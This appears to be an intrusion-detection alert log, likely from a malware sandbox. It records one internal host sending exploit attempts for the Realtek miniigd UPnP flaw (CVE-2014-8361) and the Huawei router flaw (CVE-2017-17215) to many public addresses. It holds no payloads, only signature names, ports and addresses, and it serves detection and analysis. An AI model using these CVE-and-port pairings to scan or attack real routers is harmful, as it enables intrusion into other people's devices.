ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.245.29.116

Timestamp:	07/20/24-23:01:59.593869
SID:	2027339
Source Port:	59884
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.51.233.233

Timestamp:	07/20/24-23:01:25.020591
SID:	2027339
Source Port:	58950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.129.34.41

Timestamp:	07/20/24-23:01:31.976795
SID:	2835222
Source Port:	50596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 219.68.37.27

Timestamp:	07/20/24-23:01:42.643745
SID:	2831300
Source Port:	53574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 17.17.223.92

Timestamp:	07/20/24-23:01:42.912947
SID:	2025132
Source Port:	34838
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 124.255.77.181

Timestamp:	07/20/24-23:01:48.080190
SID:	2025132
Source Port:	37272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.132.15.197

Timestamp:	07/20/24-23:01:04.100971
SID:	2835222
Source Port:	39850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.157.232.183

Timestamp:	07/20/24-23:01:04.058922
SID:	2829579
Source Port:	45678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 144.247.247.76

Timestamp:	07/20/24-23:01:31.312311
SID:	2831300
Source Port:	42756
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 12.82.126.36

Timestamp:	07/20/24-23:01:43.957856
SID:	2831300
Source Port:	49062
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 209.219.111.180

Timestamp:	07/20/24-23:01:56.536207
SID:	2025132
Source Port:	50732
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 161.85.99.11

Timestamp:	07/20/24-23:01:40.290003
SID:	2835222
Source Port:	59616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.179.102.199

Timestamp:	07/20/24-23:01:08.626717
SID:	2831300
Source Port:	33640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 205.59.131.231

Timestamp:	07/20/24-23:01:42.761962
SID:	2025132
Source Port:	48840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.0.203.61

Timestamp:	07/20/24-23:01:47.921416
SID:	2027339
Source Port:	45906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.92.179.211

Timestamp:	07/20/24-23:01:08.655109
SID:	2831300
Source Port:	34348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 90.71.230.151

Timestamp:	07/20/24-23:01:40.307219
SID:	2835222
Source Port:	37866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.220.126.213

Timestamp:	07/20/24-23:01:44.277250
SID:	2027339
Source Port:	45600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 82.227.232.160

Timestamp:	07/20/24-23:02:10.589521
SID:	2025132
Source Port:	40326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.146.181.144

Timestamp:	07/20/24-23:01:27.651332
SID:	2835222
Source Port:	52286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.188.204.238

Timestamp:	07/20/24-23:01:43.946380
SID:	2025132
Source Port:	50156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.128.56.168

Timestamp:	07/20/24-23:01:44.963815
SID:	2027339
Source Port:	42802
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.57.28.204

Timestamp:	07/20/24-23:01:47.858878
SID:	2025132
Source Port:	55910
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 183.49.28.217

Timestamp:	07/20/24-23:01:03.107449
SID:	2025132
Source Port:	55444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.59.34.22

Timestamp:	07/20/24-23:01:24.889164
SID:	2829579
Source Port:	49292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.168.17.251

Timestamp:	07/20/24-23:01:21.951975
SID:	2829579
Source Port:	44260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.82.97.31

Timestamp:	07/20/24-23:01:54.859884
SID:	2027339
Source Port:	49438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 23.3.191.75

Timestamp:	07/20/24-23:01:44.389834
SID:	2831300
Source Port:	54532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 32.178.44.200

Timestamp:	07/20/24-23:01:42.287237
SID:	2831300
Source Port:	44008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 87.107.52.197

Timestamp:	07/20/24-23:01:52.976222
SID:	2831300
Source Port:	49862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.55.44.167

Timestamp:	07/20/24-23:00:59.204975
SID:	2835222
Source Port:	49836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.178.230.186

Timestamp:	07/20/24-23:01:08.588009
SID:	2027339
Source Port:	59924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.43.137.199

Timestamp:	07/20/24-23:01:41.205247
SID:	2025132
Source Port:	48560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 89.245.53.30

Timestamp:	07/20/24-23:01:14.100332
SID:	2829579
Source Port:	52630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 136.56.196.147

Timestamp:	07/20/24-23:01:13.976791
SID:	2025132
Source Port:	57122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.220.0.209

Timestamp:	07/20/24-23:02:09.237639
SID:	2027339
Source Port:	56754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 150.154.154.148

Timestamp:	07/20/24-23:01:11.634077
SID:	2829579
Source Port:	43372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 1.26.245.187

Timestamp:	07/20/24-23:01:41.217142
SID:	2025132
Source Port:	33120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.122.103.48

Timestamp:	07/20/24-23:02:08.319876
SID:	2027339
Source Port:	45580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.161.254.133

Timestamp:	07/20/24-23:01:41.260371
SID:	2027339
Source Port:	47304
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.59.242.166

Timestamp:	07/20/24-23:01:08.575986
SID:	2831300
Source Port:	59784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 101.157.175.20

Timestamp:	07/20/24-23:01:43.030153
SID:	2025132
Source Port:	40604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.117.171.160

Timestamp:	07/20/24-23:02:17.269055
SID:	2831300
Source Port:	51420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.118.151

Timestamp:	07/20/24-23:01:11.634077
SID:	2829579
Source Port:	37082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.104.161.240

Timestamp:	07/20/24-23:01:24.832675
SID:	2025132
Source Port:	59242
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.198.81.15

Timestamp:	07/20/24-23:01:11.817297
SID:	2835222
Source Port:	60858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.217.25.84

Timestamp:	07/20/24-23:01:31.975513
SID:	2835222
Source Port:	45194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.201.149.50

Timestamp:	07/20/24-23:01:42.304767
SID:	2025132
Source Port:	33306
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.100.49.199

Timestamp:	07/20/24-23:01:58.961047
SID:	2027339
Source Port:	55118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 17.241.55.92

Timestamp:	07/20/24-23:01:43.190670
SID:	2025132
Source Port:	51900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.20.12.87

Timestamp:	07/20/24-23:01:08.611391
SID:	2027339
Source Port:	38826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.28.215.223

Timestamp:	07/20/24-23:01:54.545885
SID:	2027339
Source Port:	59122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 64.62.112.142

Timestamp:	07/20/24-23:01:00.634292
SID:	2829579
Source Port:	38768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.125.214.226

Timestamp:	07/20/24-23:01:44.415588
SID:	2025132
Source Port:	53256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.49.147.96

Timestamp:	07/20/24-23:01:44.624686
SID:	2027339
Source Port:	45650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.145.37.57

Timestamp:	07/20/24-23:01:47.700893
SID:	2025132
Source Port:	55240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.144.227.253

Timestamp:	07/20/24-23:01:43.210798
SID:	2027339
Source Port:	46472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.46.153.191

Timestamp:	07/20/24-23:01:27.725851
SID:	2829579
Source Port:	59222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.242.12.13

Timestamp:	07/20/24-23:02:07.984371
SID:	2025132
Source Port:	42256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.210.119.115

Timestamp:	07/20/24-23:01:42.555718
SID:	2027339
Source Port:	35216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.137.245.127

Timestamp:	07/20/24-23:01:45.165718
SID:	2027339
Source Port:	33260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.105.53.195

Timestamp:	07/20/24-23:01:20.181938
SID:	2835222
Source Port:	35458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.189.55.135

Timestamp:	07/20/24-23:01:01.143446
SID:	2025132
Source Port:	52638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.44.188.95

Timestamp:	07/20/24-23:01:42.962388
SID:	2027339
Source Port:	36968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.53.103.29

Timestamp:	07/20/24-23:00:59.203960
SID:	2835222
Source Port:	39668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 19.199.208.241

Timestamp:	07/20/24-23:01:00.641498
SID:	2835222
Source Port:	53410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.9.233.106

Timestamp:	07/20/24-23:01:04.114673
SID:	2835222
Source Port:	48702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.145.121.60

Timestamp:	07/20/24-23:01:40.343151
SID:	2829579
Source Port:	58374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.199.50.191

Timestamp:	07/20/24-23:02:17.128772
SID:	2027339
Source Port:	41086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.247.88.93

Timestamp:	07/20/24-23:01:42.111275
SID:	2027339
Source Port:	48622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 154.117.210.216

Timestamp:	07/20/24-23:01:45.144955
SID:	2025132
Source Port:	57898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.211.116.144

Timestamp:	07/20/24-23:01:46.109136
SID:	2027339
Source Port:	59800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.55.165.96

Timestamp:	07/20/24-23:02:02.772130
SID:	2025132
Source Port:	59538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.53.164.7

Timestamp:	07/20/24-23:02:11.592030
SID:	2027339
Source Port:	45658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.13.46

Timestamp:	07/20/24-23:00:57.221504
SID:	2835222
Source Port:	46632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.101.71.143

Timestamp:	07/20/24-23:01:42.090121
SID:	2027339
Source Port:	43510
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.63.85.196

Timestamp:	07/20/24-23:01:07.021159
SID:	2835222
Source Port:	60526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.42.58.223

Timestamp:	07/20/24-23:01:08.562013
SID:	2831300
Source Port:	44914
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.204.232.233

Timestamp:	07/20/24-23:01:32.076593
SID:	2835222
Source Port:	38906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.229.91.171

Timestamp:	07/20/24-23:01:41.303669
SID:	2027339
Source Port:	52976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.109.117.107

Timestamp:	07/20/24-23:01:41.660997
SID:	2027339
Source Port:	39540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.50.220.234

Timestamp:	07/20/24-23:01:53.308763
SID:	2027339
Source Port:	53860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.210.80.134

Timestamp:	07/20/24-23:01:45.547334
SID:	2027339
Source Port:	59954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 116.148.59.65

Timestamp:	07/20/24-23:01:49.469876
SID:	2025132
Source Port:	49768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 139.85.109.63

Timestamp:	07/20/24-23:01:44.099799
SID:	2025132
Source Port:	39852
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.65.44.128

Timestamp:	07/20/24-23:00:59.172943
SID:	2829579
Source Port:	43118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.66.63.246

Timestamp:	07/20/24-23:01:40.355589
SID:	2835222
Source Port:	57784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.130.15.144

Timestamp:	07/20/24-23:01:44.795218
SID:	2831300
Source Port:	55440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 207.93.222.13

Timestamp:	07/20/24-23:00:57.221550
SID:	2829579
Source Port:	41818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.184.252.189

Timestamp:	07/20/24-23:01:41.478928
SID:	2025132
Source Port:	36668
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.204.212.245

Timestamp:	07/20/24-23:01:08.578727
SID:	2027339
Source Port:	48380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.37.139.58

Timestamp:	07/20/24-23:01:08.589760
SID:	2027339
Source Port:	39636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.197.27.100

Timestamp:	07/20/24-23:01:44.452219
SID:	2025132
Source Port:	50638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.229.171.249

Timestamp:	07/20/24-23:01:31.975158
SID:	2835222
Source Port:	37716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.52.105.57

Timestamp:	07/20/24-23:01:44.756264
SID:	2831300
Source Port:	49132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.213.252.233

Timestamp:	07/20/24-23:02:06.393178
SID:	2027339
Source Port:	37356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 73.113.35.189

Timestamp:	07/20/24-23:01:41.165469
SID:	2025132
Source Port:	48418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.25.37.64

Timestamp:	07/20/24-23:02:14.945129
SID:	2027339
Source Port:	49536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.136.23.140

Timestamp:	07/20/24-23:00:59.157444
SID:	2835222
Source Port:	37038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

